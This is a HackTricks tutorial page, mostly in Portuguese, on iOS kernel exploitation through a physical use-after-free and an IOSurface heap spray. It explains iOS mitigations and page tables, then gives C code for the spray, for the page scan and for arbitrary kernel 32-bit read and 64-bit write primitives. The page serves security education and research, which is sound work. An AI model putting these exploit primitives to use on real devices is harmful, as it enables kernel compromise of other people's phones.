iOS Physical Use After Free via IOSurface

Reading time: 13 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

iOS Exploit Mitigations

  • Code Signing in iOS funciona exigindo que cada pedaço de código executável (apps, libraries, extensions, etc.) seja assinados criptograficamente com um certificado emitido pela Apple. Quando o código é carregado, o iOS verifica a assinatura digital contra a raiz de confiança da Apple. Se a assinatura for inválida, ausente ou modificada, o SO recusa executá-lo. Isso impede que atacantes injetem código malicioso em apps legítimos ou executem binários não assinados, bloqueando a maioria das cadeias de exploit que dependem da execução de código arbitrário ou adulterado.
  • CoreTrust é o subsistema do iOS responsável por aplicar a assinatura de código em tempo de execução. Ele verifica diretamente as assinaturas usando o certificado raiz da Apple sem depender de caches de confiança, significando que apenas binários assinados pela Apple (ou com entitlements válidos) podem executar. CoreTrust garante que mesmo se um atacante adulterar um app após a instalação, modificar libraries do sistema, ou tentar carregar código não assinado, o sistema bloqueará a execução a menos que o código ainda esteja corretamente assinado. Essa aplicação rigorosa fecha muitos vetores pós-exploração que versões antigas do iOS permitiam por meio de verificações de assinatura mais fracas ou contornáveis.
  • Data Execution Prevention (DEP) marca regiões de memória como não-executáveis a menos que contenham explicitamente código. Isso impede que atacantes injetem shellcode em regiões de dados (como stack ou heap) e o executem, forçando-os a depender de técnicas mais complexas como ROP (Return-Oriented Programming).
  • ASLR (Address Space Layout Randomization) randomiza os endereços de memória de código, libraries, stack e heap a cada execução do sistema. Isso torna muito mais difícil para atacantes preverem onde instruções ou gadgets úteis estão, quebrando muitas cadeias de exploit que dependem de layouts de memória fixos.
  • KASLR (Kernel ASLR) aplica o mesmo conceito de randomização ao kernel do iOS. Ao embaralhar o endereço base do kernel a cada boot, impede que atacantes localizem de forma confiável funções ou estruturas do kernel, aumentando a dificuldade de exploits em nível de kernel que poderiam obter controle total do sistema.
  • Kernel Patch Protection (KPP) também conhecido como AMCC (Apple Mobile File Integrity) no iOS, monitora continuamente as páginas de código do kernel para garantir que não foram modificadas. Se qualquer adulteração for detectada—como um exploit tentando patchar funções do kernel ou inserir código malicioso—o dispositivo entrará em panic e reiniciará imediatamente. Essa proteção torna exploits persistentes no kernel muito mais difíceis, pois atacantes não podem simplesmente hookar ou patchar instruções do kernel sem causar um crash do sistema.
  • Kernel Text Readonly Region (KTRR) é uma feature de segurança baseada em hardware introduzida em dispositivos iOS. Ela usa o controlador de memória da CPU para marcar a seção de código (text) do kernel como permanentemente somente leitura após o boot. Uma vez bloqueada, nem mesmo o próprio kernel pode modificar essa região de memória. Isso impede que atacantes—e mesmo código privilegiado—patcharem instruções do kernel em tempo de execução, fechando uma grande classe de exploits que dependiam de modificar diretamente o código do kernel.
  • Pointer Authentication Codes (PAC) usam assinaturas criptográficas embutidas em bits não utilizados de pointers para verificar sua integridade antes do uso. Quando um pointer (como um return address ou function pointer) é criado, a CPU o assina com uma chave secreta; antes de desreferenciar, a CPU checa a assinatura. Se o pointer foi adulterado, a checagem falha e a execução para. Isso impede que atacantes forjem ou reutilizem pointers corrompidos em exploits de corrupção de memória, tornando técnicas como ROP ou JOP muito mais difíceis de executar de forma confiável.
  • Privilege Access never (PAN) é uma feature de hardware que impede o kernel (modo privilegiado) de acessar diretamente memória do espaço do usuário a menos que explicitamente habilite esse acesso. Isso impede que atacantes que obtiveram execução de código no kernel leiam ou escrevam facilmente na memória do usuário para escalar privilégios ou roubar dados sensíveis. Ao aplicar uma separação estrita, PAN reduz o impacto de exploits no kernel e bloqueia muitas técnicas comuns de elevação de privilégios.
  • Page Protection Layer (PPL) é um mecanismo de segurança do iOS que protege regiões críticas de memória gerenciadas pelo kernel, especialmente aquelas relacionadas à assinatura de código e entitlements. Ele aplica proteções rígidas de escrita usando a MMU (Memory Management Unit) e checagens adicionais, garantindo que mesmo código privilegiado do kernel não possa modificar arbitrariamente páginas sensíveis. Isso impede que atacantes que obtêm execução em nível de kernel manipulem estruturas críticas de segurança, tornando persistência e bypass de code-signing significativamente mais difíceis.

Physical use-after-free

This is a summary from the post from https://alfiecg.uk/2024/09/24/Kernel-exploit.html moreover further information about exploit using this technique can be found in https://github.com/felix-pb/kfd

Memory management in XNU

O espaço de endereço de memória virtual para processos de usuário no iOS abrange de 0x0 a 0x8000000000. No entanto, esses endereços não são mapeados diretamente para a memória física. Em vez disso, o kernel usa page tables para traduzir endereços virtuais em endereços físicos reais.

Levels of Page Tables in iOS

Page tables são organizadas hierarquicamente em três níveis:

  1. L1 Page Table (Level 1):
  • Cada entrada aqui representa uma grande faixa de memória virtual.
  • Cobre 0x1000000000 bytes (ou 256 GB) de memória virtual.
  1. L2 Page Table (Level 2):
  • Uma entrada aqui representa uma região menor de memória virtual, especificamente 0x2000000 bytes (32 MB).
  • Uma entrada L1 pode apontar para uma tabela L2 se não puder mapear a região inteira por si só.
  1. L3 Page Table (Level 3):
  • Este é o nível mais fino, onde cada entrada mapeia uma única página de 4 KB.
  • Uma entrada L2 pode apontar para uma tabela L3 se for necessário controle mais granular.

Mapping Virtual to Physical Memory

  • Direct Mapping (Block Mapping):
  • Algumas entradas em uma page table mapeiam diretamente uma faixa de endereços virtuais para uma faixa contígua de endereços físicos (como um atalho).
  • Pointer to Child Page Table:
  • Se for necessário controle mais fino, uma entrada em um nível (por exemplo, L1) pode apontar para uma child page table no próximo nível (por exemplo, L2).

Example: Mapping a Virtual Address

Suponha que você tente acessar o endereço virtual 0x1000000000:

  1. L1 Table:
  • O kernel verifica a entrada da L1 page table correspondente a esse endereço virtual. Se ela tiver um pointer to an L2 page table, vai para essa tabela L2.
  1. L2 Table:
  • O kernel verifica a L2 page table para um mapeamento mais detalhado. Se essa entrada apontar para uma L3 page table, prossegue para lá.
  1. L3 Table:
  • O kernel procura a entrada final L3, que aponta para o endereço físico da página de memória real.

Example of Address Mapping

Se você escrever o endereço físico 0x800004000 no primeiro índice da tabela L2, então:

  • Endereços virtuais de 0x1000000000 a 0x1002000000 mapeiam para endereços físicos de 0x800004000 a 0x802004000.
  • Isso é um block mapping no nível L2.

Alternativamente, se a entrada L2 apontar para uma tabela L3:

  • Cada página de 4 KB no intervalo virtual 0x1000000000 -> 0x1002000000 seria mapeada por entradas individuais na tabela L3.

Physical use-after-free

Um physical use-after-free (UAF) ocorre quando:

  1. Um processo aloca alguma memória como readable and writable.
  2. As page tables são atualizadas para mapear essa memória para um endereço físico específico que o processo pode acessar.
  3. O processo desaloca (libera) a memória.
  4. Entretanto, devido a um bug, o kernel esquece de remover o mapping das page tables, mesmo que marque a memória física correspondente como livre.
  5. O kernel pode então realocar essa memória física "liberada" para outros fins, como dados do kernel.
  6. Como o mapeamento não foi removido, o processo ainda pode ler e escrever nessa memória física.

Isso significa que o processo pode acessar páginas de memória do kernel, que podem conter dados ou estruturas sensíveis, potencialmente permitindo que um atacante manipule memória do kernel.

IOSurface Heap Spray

Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called heap spray:

  1. The attacker creates a large number of IOSurface objects in kernel memory.
  2. Each IOSurface object contains a magic value in one of its fields, making it easy to identify.
  3. They scan the freed pages to see if any of these IOSurface objects landed on a freed page.
  4. When they find an IOSurface object on a freed page, they can use it to read and write kernel memory.

More info about this in https://github.com/felix-pb/kfd/tree/main/writeups

tip

Esteja ciente de que dispositivos iOS 16+ (A12+) trazem mitigações de hardware (como PPL ou SPTM) que tornam técnicas de physical UAF muito menos viáveis. PPL aplica proteções MMU estritas em páginas relacionadas a code signing, entitlements e dados sensíveis do kernel, então, mesmo que uma página seja reutilizada, escritas do userland ou de código kernel comprometido para páginas protegidas por PPL são bloqueadas. Secure Page Table Monitor (SPTM) estende o PPL endurecendo as próprias atualizações de page table. Ele garante que mesmo código privilegiado do kernel não possa remapear silenciosamente páginas liberadas ou adulterar mappings sem passar por checagens seguras. KTRR (Kernel Text Read-Only Region), que bloqueia a seção de código do kernel como somente leitura após o boot. Isso impede quaisquer modificações em tempo de execução no código do kernel, fechando um grande vetor de ataque que exploits físicos de UAF frequentemente exploravam. Além disso, alocações de IOSurface são menos previsíveis e mais difíceis de mapear em regiões acessíveis pelo usuário, o que torna o truque de “scan por magic value” muito menos confiável. E IOSurface agora é protegido por entitlements e restrições de sandbox.

Step-by-Step Heap Spray Process

  1. Spray IOSurface Objects: O atacante cria muitos objetos IOSurface com um identificador especial ("magic value").
  2. Scan Freed Pages: Eles verificam se algum dos objetos foi alocado em uma página liberada.
  3. Read/Write Kernel Memory: Ao manipular campos no objeto IOSurface, eles obtêm a capacidade de realizar arbitrary reads and writes na memória do kernel. Isso permite:
  • Usar um campo para ler qualquer valor 32-bit na memória do kernel.
  • Usar outro campo para escrever valores 64-bit, alcançando um primitivo confiável de kernel read/write.

Generate IOSurface objects with the magic value IOSURFACE_MAGIC to later search for:

c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;

size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;

IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;

(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}

Procure por objetos IOSurface em uma página física liberada:

c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;

for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);

for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);

for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}

sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);

return 0;
}

Obtendo Leitura/Escrita no kernel com IOSurface

Depois de controlar um objeto IOSurface em kernel memory (mapeado para uma página física liberada acessível a partir do userspace), podemos usá-lo para operações arbitrárias de leitura e escrita no kernel.

Key Fields in IOSurface

O objeto IOSurface tem dois campos cruciais:

  1. Use Count Pointer: Permite uma leitura de 32 bits.
  2. Indexed Timestamp Pointer: Permite uma escrita de 64 bits.

Ao sobrescrever esses pointers, os redirecionamos para endereços arbitrários em kernel memory, habilitando capacidades de leitura/escrita.

Leitura de 32 bits no kernel

Para realizar uma leitura:

  1. Sobrescreva o use count pointer para apontar para o endereço alvo menos um deslocamento de 0x14 bytes.
  2. Use o método get_use_count para ler o valor nesse endereço.
c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}

uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}

Escrita de 64 bits no Kernel

Para realizar uma escrita:

  1. Sobrescreva o indexed timestamp pointer com o endereço de destino.
  2. Use o método set_indexed_timestamp para escrever um valor de 64 bits.
c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}

void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}

Recapitulação do Fluxo do Exploit

  1. Acionar Physical Use-After-Free: Páginas liberadas ficam disponíveis para reutilização.
  2. Spray IOSurface Objects: Alocar muitos objetos IOSurface com um "valor mágico" único na memória do kernel.
  3. Identificar Accessible IOSurface: Localizar um IOSurface em uma página liberada que você controla.
  4. Abusar Use-After-Free: Modificar ponteiros no objeto IOSurface para permitir kernel read/write arbitrários via métodos do IOSurface.

Com esses primitivos, o exploit fornece 32-bit reads controlados e 64-bit writes para a memória do kernel. Passos adicionais de jailbreak podem envolver primitivos de read/write mais estáveis, que podem requerer contornar proteções adicionais (por exemplo, PPL em dispositivos arm64e mais recentes).

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks